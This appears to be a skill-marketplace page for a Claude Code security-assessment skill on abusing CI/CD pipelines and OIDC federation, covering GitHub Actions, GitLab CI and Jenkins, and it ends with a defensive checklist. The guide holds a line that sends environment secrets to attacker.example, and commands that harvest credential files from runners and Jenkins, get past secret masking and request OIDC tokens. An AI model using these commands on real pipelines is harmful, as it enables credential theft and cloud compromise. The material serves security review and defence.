mcpField
A
abusing-ci-cd-oidc

abusing-ci-cd-oidc

github.com/trilwu安全17749 次安装12 周前更新
代码仓库

关于 abusing-ci-cd-oidc

面向安全评估人员的 CI/CD 与 OIDC 联邦安全审查指南,涵盖 GitHub Actions、GitLab CI 和 Jenkins。内容聚焦凭据暴露、信任策略、运行器隔离及构建产物风险,并提供防御检查清单。

主要功能

  1. 01检查 GitHub Actions、GitLab CI 和 Jenkins
  2. 02评估 OIDC 信任策略
  3. 03审查密钥与令牌暴露风险
  4. 04检查自托管运行器隔离
  5. 05分析构建产物和缓存投毒
  6. 06提供防御审查清单

适用场景

  1. 01评估 CI/CD 工作流的配置风险
  2. 02检查云角色的 OIDC 联邦条件
  3. 03审查运行器与流水线凭据保护
  4. 04排查缓存或构建产物投毒风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill abusing-ci-cd-oidc

安装后在 Claude Code 中输入/abusing-ci-cd-oidc确认已加载。

详细介绍

滥用 CI/CD 流水线和 OIDC 联合

CI/CD 流水线是高权限执行环境,通常可直接访问云 IAM、部署凭据和签名密钥。如果信任策略过于宽泛,OIDC 联合会让仓库写入权限变成云凭据签发权限。一个配置错误的工作流或通配符 subject 声明,就可能打通从“可以发起拉取请求”到“拥有生产环境云访问权限”的路径。

适用场景

  • 评估 GitHub Actions、GitLab CI 或 Jenkins 是否存在可利用的配置错误
  • 测试 CI 提供商与云平台之间的 OIDC 联合信任策略
  • 从流水线执行环境中提取密钥、令牌或凭据
  • 评估自托管运行器隔离情况和共享运行器风险
  • 尝试通过 OIDC 从 CI/CD 横向移动至云账户
  • 审查构建产物完整性和缓存投毒攻击面

不适用场景

  • 依赖项和软件包供应链攻击 —— 使用 auditing-supply-chain
  • 并非源自 CI/CD 的云 IAM 利用 —— 使用 exploiting-cloud-platforms
  • 将流水线定义作为纯源码进行静态代码审查 —— 使用 auditing-code-for-vulnerabilities

GitHub Actions

投毒工作流

pull_request_target 在基础仓库上下文中运行,可访问密钥和具有写入权限的 GITHUB_TOKEN,但也可以由来自分叉仓库的拉取请求触发。

# Find pull_request_target triggers that check out PR head code
rg -n 'pull_request_target' -A20 .github/workflows/ | rg 'checkout|ref.*head'

# Script injection: untrusted PR/issue data interpolated into run blocks
rg -n '\$\{\{\s*github\.event\.(issue|pull_request|comment|review)' .github/workflows/

攻击模式: 分叉仓库,修改检出的代码路径(构建脚本、Makefile、测试框架),然后发起拉取请求。工作流会使用基础仓库的密钥执行你的代码。通过 DNS、HTTP 回调或构建产物窃取密钥。

密钥窃取与令牌范围
# Secrets are in the environment -- exfiltrate out-of-band
env | base64 | curl -d @- https://attacker.example/exfil

# GITHUB_TOKEN scope check
curl -s -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/OWNER/REPO -I | grep 'x-oauth-scopes'

# Check if permissions are restricted in the workflow
rg -n 'permissions:' .github/workflows/
rg -n 'permissions:\s*write-all' .github/workflows/

未受限制的 GITHUB_TOKEN 默认对 contents、packages 等拥有读取和写入权限。使用具有写入权限的令牌,可以推送到分支、创建发行版、修改软件包、批准部署。

自托管运行器失陷

公共仓库中的自托管运行器属于关键安全问题。它们会在多个作业之间持续存在,因此恶意工作流可以植入恶意程序,留给后续作业执行。

rg -n 'runs-on:.*self-hosted' .github/workflows/

# On a compromised runner: harvest credentials from prior jobs
find / -name '.credentials' -o -name '.env' -o -name '*.pem' 2>/dev/null
cat /home/runner/.aws/credentials
构建产物投毒
# If a PR workflow uploads build artifacts consumed by a deploy workflow,
# the PR author controls what gets deployed
rg -n 'upload-artifact|download-artifact' .github/workflows/

GitLab CI

运行器令牌和共享运行器
# Exposed runner registration tokens allow registering rogue runners
rg -rn 'RUNNER_TOKEN\|REGISTRATION_TOKEN\|CI_JOB_TOKEN' .gitlab-ci.yml

# CI_JOB_TOKEN can access other projects if inter-project deps are configured
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" \
  "https://gitlab.example/api/v4/projects/OTHER_ID/repository/files/secret.txt/raw?ref=main"

# Shared runners: Docker socket mount leaks between jobs
rg -n 'docker:dind\|/var/run/docker.sock' .gitlab-ci.yml
提取 CI 变量
# Masked variables are hidden from logs but present in env
printenv > /tmp/all_vars.txt && cat /tmp/all_vars.txt

# Protected variables: only on protected branches/tags
# Push a tag matching the protection pattern to access them
git tag release-exploit && git push origin release-exploit

滥用 OIDC 联合

OIDC 联合允许 CI 作业在不存储凭据的情况下使用云角色。安全边界由信任策略的 subject 声明筛选器决定。

过于宽泛的 subject 声明
# AWS: inspect IAM role trust policy conditions
aws iam get-role --role-name ci-deploy-role \
  --query 'Role.AssumeRolePolicyDocument' --output json

# Dangerous patterns in the Condition block:
# "sub": "repo:org/*"                     -- any repo in the org
# "sub": "repo:org/repo:*"                -- any branch, any environment
# "sub": "repo:org/repo:ref:refs/heads/*" -- any branch
# No Condition at all                      -- any token from the IdP

存在漏洞的 AWS 信任策略:

{
  "Effect": "Allow",
  "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringLike": {
      "token.actions.githubusercontent.com:sub": "repo:org-name/*"
    }
  }
}

组织中的任何仓库都可以使用此角色。已弃用的仓库、文档仓库以及贡献者策略宽松的仓库,都可能成为获取生产环境云访问权限的跳板。

GCP 和 Azure
# GCP: check attribute conditions on workload identity provider
gcloud iam workload-identity-pools providers describe PROVIDER \
  --location=global --workload-identity-pool=POOL
# Vulnerable: no attribute condition, or condition matching only the org

# Azure: list federated identity credentials
az ad app federated-credential list --id APP_OBJECT_ID
# Same wildcard risks: "repo:org/*" or "repo:org/repo:ref:refs/heads/*"
# Safe: "repo:org/repo:environment:production"
绕过环境保护

只有当信任策略条件包含 :environment: 时,环境保护规则才会限制 OIDC 令牌签发。匹配 repo:org/repo:* 的策略会忽略环境,因此所要求的审核者无法提供保护。

rg -n 'environment:' .github/workflows/
# Compare to the trust policy Condition -- if it lacks :environment:, bypass

Jenkins

Groovy 控制台和凭据
# Script console (/script) runs arbitrary Groovy as SYSTEM
# Check for unauthenticated access
curl -s -o /dev/null -w "%{http_code}" http://jenkins.target/script

# Credential files on disk
cat /var/lib/jenkins/credentials.xml
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret
流水线库注入
# Shared libraries via @Library execute in the pipeline sandbox
# If the library repo is writable, inject code into vars/ or src/
rg -n '@Library\|library\(' Jenkinsfile

# "Load implicitly" enabled = every pipeline runs the library's code

CI 中的密钥

提取已屏蔽的变量
# Masking hides secrets from logs but not from the process environment
echo "$SECRET_VAR" | base64                    # bypass log masking
echo "$SECRET_VAR" | sed 's/./&\n/g'           # char-by-char bypass
echo "$SECRET_VAR" > secret_dump.txt           # write to artifact
拦截 OIDC 令牌
# GitHub Actions: request the OIDC token
curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com"

# JWT is reusable until expiry (typically 5-15 minutes)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
将长期有效令牌用作 CI 密钥
# Credentials that should have been replaced by OIDC
env | grep -i 'AWS\|AKIA'                     # AWS access keys
env | grep -i 'AZURE\|ARM_CLIENT'             # Azure SP credentials
find / -name '*service*account*.json' 2>/dev/null  # GCP SA keys

构建产物投毒

缓存投毒
# CI caches shared across branches -- a PR can poison the main-branch cache
rg -n 'actions/cache' -A5 .github/workflows/
# Check whether cache keys include dependency lock file hashes

rg -n 'cache:' -A10 .gitlab-ci.yml
# key: $CI_COMMIT_REF_SLUG is branch-scoped but forks may share
通过内部注册表实施依赖项混淆
# If CI resolves from both internal and public registries,
# a higher-version public package wins resolution
rg -rn 'registry\|index-url\|repository' .npmrc .yarnrc pip.conf pyproject.toml
# Non-scoped internal packages (@org/pkg format) are vulnerable

防御性审查清单

OIDC subject 声明严格性:

  • 信任策略限定到特定仓库(而非整个组织的通配符)
  • 信任策略要求 subject 中包含特定分支或环境
  • 已为生产部署配置环境保护规则

工作流审批关卡:

  • pull_request_target 工作流不会检出 PR 的 head 代码
  • Fork PR 在工作流运行前需要审批
  • 已为部署环境指定必要的审查者
  • 分支保护规则禁止直接推送到发布分支

运行器隔离:

  • 公共仓库不使用自托管运行器
  • 运行器是临时的(每个作业结束后销毁)
  • CI 作业中未挂载 Docker 套接字

密钥卫生:

  • CI 密钥中未存储长期有效的云凭据(使用 OIDC)
  • 按作业明确限制 GITHUB_TOKEN 权限
  • Fork 触发的工作流无法访问密钥

构建完整性:

  • 第三方操作/镜像按 SHA 固定,而非使用可变标签
  • 缓存键包含依赖锁定文件的哈希值
  • 构建产物在部署前经过签名和验证
  • 内部包使用限定范围的注册表,且不回退到公共注册表

应拒绝的托词

  • “OIDC 信任策略限定在组织范围内,而且我们信任所有仓库。” 组织中的任何仓库都可能成为获取云访问权限的跳板。已弃用的仓库、 Fork,以及贡献者策略宽松的仓库都在风险范围内。

  • “日志中的密钥已被屏蔽。” 屏蔽只是日志显示功能, 并非安全边界。密钥在进程环境中以明文形式存在。

  • “工作流只会在维护者发起的 PR 上运行。” 除非在仓库或组织级别 强制要求审批 Fork PR,否则外部贡献者可以触发 pull_request_target 工作流。

  • “我们的运行器位于内部,所以是安全的。” 在作业之间持续运行的内部运行器 会累积其执行的每个作业的凭据。临时运行器才是控制措施。

  • “我们使用了环境保护规则。” 只有在信任策略条件包含环境声明时, 保护规则才会限制 OIDC 令牌的签发。匹配 repo:org/repo:* 的策略会完全忽略环境。

  • “这只是 CI 令牌,很快就会过期。” 15 分钟有效期的 OIDC 令牌 足以窃取数据、修改基础设施,或在云账户中建立持久访问。有效期短不代表无害。

  • “流水线代码在合并前会经过审查。” 审查流水线定义无法防范 pull_request_target, 因为它会在任何合并发生前运行攻击者的代码。

ATT&CK 覆盖范围

由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据 当前 ATT&CK 版本重新核实。

初始访问(TA0001)

  • T1199 可信关系——另请参阅 exploiting-cloud-platforms、attacking-entra-id

凭据访问(TA0006)

  • T1552 凭据保护不当——另请参阅 escalating-linux-privileges、exploiting-cloud-platforms、auditing-supply-chain

这些技术的检测内容:engineering-detections。主动搜寻:hunting-threats。失陷后响应:responding-to-incidents。

参考资料

  • auditing-supply-chain -- 依赖项和包级供应链攻击
  • exploiting-cloud-platforms -- 超出 CI/CD 来源范围的云 IAM 利用
  • auditing-code-for-vulnerabilities -- 流水线代码的源代码级审查
  • engineering-detections -- 构建针对 CI/CD 滥用模式的告警

评论

支持 Markdown